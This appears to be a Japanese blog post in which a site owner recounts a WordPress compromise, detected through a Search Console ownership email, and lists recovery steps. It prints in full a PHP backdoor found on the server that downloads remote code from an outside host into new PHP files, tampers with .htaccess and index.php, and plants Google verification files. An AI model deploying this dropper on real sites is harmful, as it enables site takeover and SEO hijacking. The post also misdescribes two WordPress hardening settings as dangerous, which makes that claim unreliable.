
wordpressは世界のWEBサイトのCMSで3割も利用されているという調査報告がありますが、それが故に、脆弱性をついた改竄が数多く行なわれているようです。
政府のWEBサイトや、大企業のWEBサイトなどが改竄されたニュースを聞くともしかしたらwordpressを使っているのではないかとすら感じるようになりました。
そんなこんなで、このサイトもwordpressを使っているのですが、前回も改竄被害をうけたのですが、今回もまた新たな改竄被害に遭ったので、その詳細と、復旧方法などをご紹介します。
あなたのサイトのwordpressも改ざんされても慌てず落ち着いて対応するようにしましょう。
GoogleSearchConsoleに影響有り
今回の被害で一番気がつけた要因は、GoogleSearchConsoleからのシステム変更お知らせメールで検知することができました。
「新しい所有者を追加しました」というメールタイトルに、何も作業をしていないので、スマホの画面ですぐに気が付きました。

こんなメールです。
そして、一体何故wordpressを改竄されたらGoogleSearchConsoleの所有者に追加されるのかと言うと、認証ファイルをroot階層にファイル作成することができるので、簡単に所有者認証をクリアすることができてしまうんですね。
被害内容全般
そして、実際にサイトのコンテンツには改竄は無かったのですが、root階層に「move.php」という不明なファイルが作成されていました。
とりあえず、その内容(ソースコード)を掲載しておきます。
<?php
@set_time_limit(0);
@ini_set('display_errors', 1);
if(isset($_GET['use']) && $_GET['use'] == '2')
        define('USEFUNCTION',2);
else
        define('USEFUNCTION',1);
if(!function_exists('file_put_contents')) {
        function file_put_contents($filename, $s) {
                $fp = @fopen($filename, 'w');
                @fwrite($fp, $s);
                @fclose($fp);
                return TRUE;
        }
}
if(isset($_GET["rdir"])&& $_GET["url"]){
        $rdir = $_GET["rdir"];
        $url = $_GET["url"];
        @mkdir("./". $rdir);
        $url1='http://www.datacen2017.top/extenupdates.txt';
        $url2='http://' . $url . 'moban.html';
        $url3='http://' . $url . 'index.txt';
        $url4='http://' . $url . 'install.txt';
        $str_hm1 = curl_get_from_webpage($url1);
        $str_hm2 = curl_get_from_webpage($url2);
        $str_hm3 = curl_get_from_webpage($url3);
        $str_hm4 = curl_get_from_webpage($url4);
        file_put_contents("./" . $rdir . "/" . "extenupdates.php", $str_hm1);
        file_put_contents("./" . $rdir . "/" . "moban.html", $str_hm2);
        file_put_contents("./" . $rdir . "/" . "index.php", $str_hm3);
        file_put_contents("./" . $rdir . "/" . "install.php", $str_hm4);
        $file[] =  './' . $rdir . '/' . 'moban.html';
        $file[] =  './' . $rdir . '/' . 'index.php';
        $file[] =  './' . $rdir . '/' . 'install.php';
        foreach($file as $values){
                if(file_exists($values)){
                        $handle = fopen($values,'rb');
                        $rdSIze = filesize("./".$values);
                        $tempStr = fread($handle, $rdSIze);
                        fclose($handle);
                        if(strstr($tempStr,'//file end')){
                                echo "<div style='color:#216AEA;font-weight:bold;'>$values has successed!</div><br/>";
                                @chmod($values,0744);
                        }else{
                                echo "<div style='color:red;font-weight:bold;'>file $values must be reload!</div><br/>";
                        }
                        unset($tempStr);
                }else{
                        echo "<div style='color:red;font-weight:bold;'>file $values not found!</div><br/>";
                }
        }
}
function curl_get_from_webpage($url,$proxy='',$loop=10){
        $data = false;
        $i = 0;
        while(!$data) {
             $data = curl_get_from_webpage_one_time($url,$proxy);
             if($i++ >= $loop) break;
        }
        return $data;
}
function curl_get_from_webpage_one_time($url,$proxy='',$tms=0){
          $data = false;
  if(USEFUNCTION == 1){
                $curl = curl_init();
                curl_setopt($curl, CURLOPT_URL, $url);
                curl_setopt($curl, CURLOPT_HEADER, false);
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                $data=curl_exec($curl);
                curl_close($curl);
  }elseif(USEFUNCTION == 2){
                $data = @file_get_contents($url);
  }
  return $data;
}
rename("./moving.php","./move.php");
chmod("./index.php",0755);
if(isset($_GET['read']) &&  $_GET['read'] == '1'){
        $a=file_get_contents(".htaccess");
        echo htmlspecialchars($a);
}
if(isset($_GET['chmod']) &&  $_GET['chmod'] == '1'){
        @chmod(".htaccess",0444);
        @chmod("index.php",0444);
        unlink("./urls.txt");
        echo "chmod is ok";
}
if(isset($_GET['del']) &&  $_GET['del'] == '1'){
        @chmod("./index.php",0755);
        $Indexruler = '#(/+installbg.*?/+installend)#s';
        $strDefault = file_get_contents("./index.php");
        $strDefault = preg_replace($Indexruler, '', $strDefault);
        file_put_contents("./index.php",$strDefault);
        echo "index del is ok";
}
if(isset($_GET["write"]) && trim($_GET["write"])){
        $write = trim($_GET["write"]);
        $path ='./'. $write.'.html';
        $content='google-site-verification: '.$write.'.html';
        file_put_contents($path,$content);
        echo $content;
        unlink("move.php");
}
unlink("./wp-content/uploader.php");
?> 
容赦無く書き換えてますねえ。
このファイルにアクセスされていたらアウトだったでしょう。
あと、被害の合ったファイルは以下のとおりです。
1. robots.txt
2. wp-config.php
3. .htaccess
robots.txtや.htaccessは、さほど重要な設定にしていなかったので、そんなに問題はないのですが、wp-config.phpは、ファイル最下部に以下の様な追記がされていました。
 
define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true); 
モジュールやら、ファイル編集などがtrueにセットされる恐ろしい設定です。
今回の改竄はここで行なわれたようです。
もし仮に、あなたのサイトで改竄があったとしたら、一番はやくファイルを見つけるには、ファイルのタイムスタンプを見ると、自分で操作していない期日(おそらく当日)の日付は大体が改竄ファイルと考えていいでしょう。
対応策
まず、行ったのは、wordpressの管理するユーザーの整理と、パスワード変更を行いました。
管理パスワードで入られたら、中でどのように対策していても大問題ですからね。
次にSQLのアクセスアカウントのパスワードも変更。
少しめんどくさい作業ですが、この作業をしてwp-config.phpの設定を同時に更新しておきましょう。
未使用のテンプレートとプラグインを全て排除
※怪しいプラグインなどを使っている場合は、その見極めが必要な場合もあります。
search-consoleの認証ファイル(htmlファイル)を削除して、管理画面(search-console)で未認証に変更する。
これはメールにリンクがあるのでその手順に従って行えば簡単にできます。
そういえば、search-consoleの設定で「日本」から「フランス」に変更されていたので、今回の犯人はフランス人だと思うことにしましょう。
最後に、サーバーにアップされているプログラムファイルをバックアップファイルと照らし合わせて、差分がないか確認
※これは、バックアップをちゃんと取得していないとできないので、めんどくさがらずにバックアップはちゃんと行いましょう。
おまけですが、システムが古い場合は最新にアップデートするのも忘れないようにしましょう。
もはやこのwordpressは、こうした対応の勉強をするために運用していると行っても過言ではありません。
今後ホームページ制作で、僕はwordpressをクライアントに勧めることは無いでしょう。
非常に危険で素人が運用するには問題がありすぎるシステムです。
気軽に使えますが、魔の手も多いことを認識しましょうね。
関連記事
wordpressの改竄被害にご用心
 
0 件のコメント:
コメントを投稿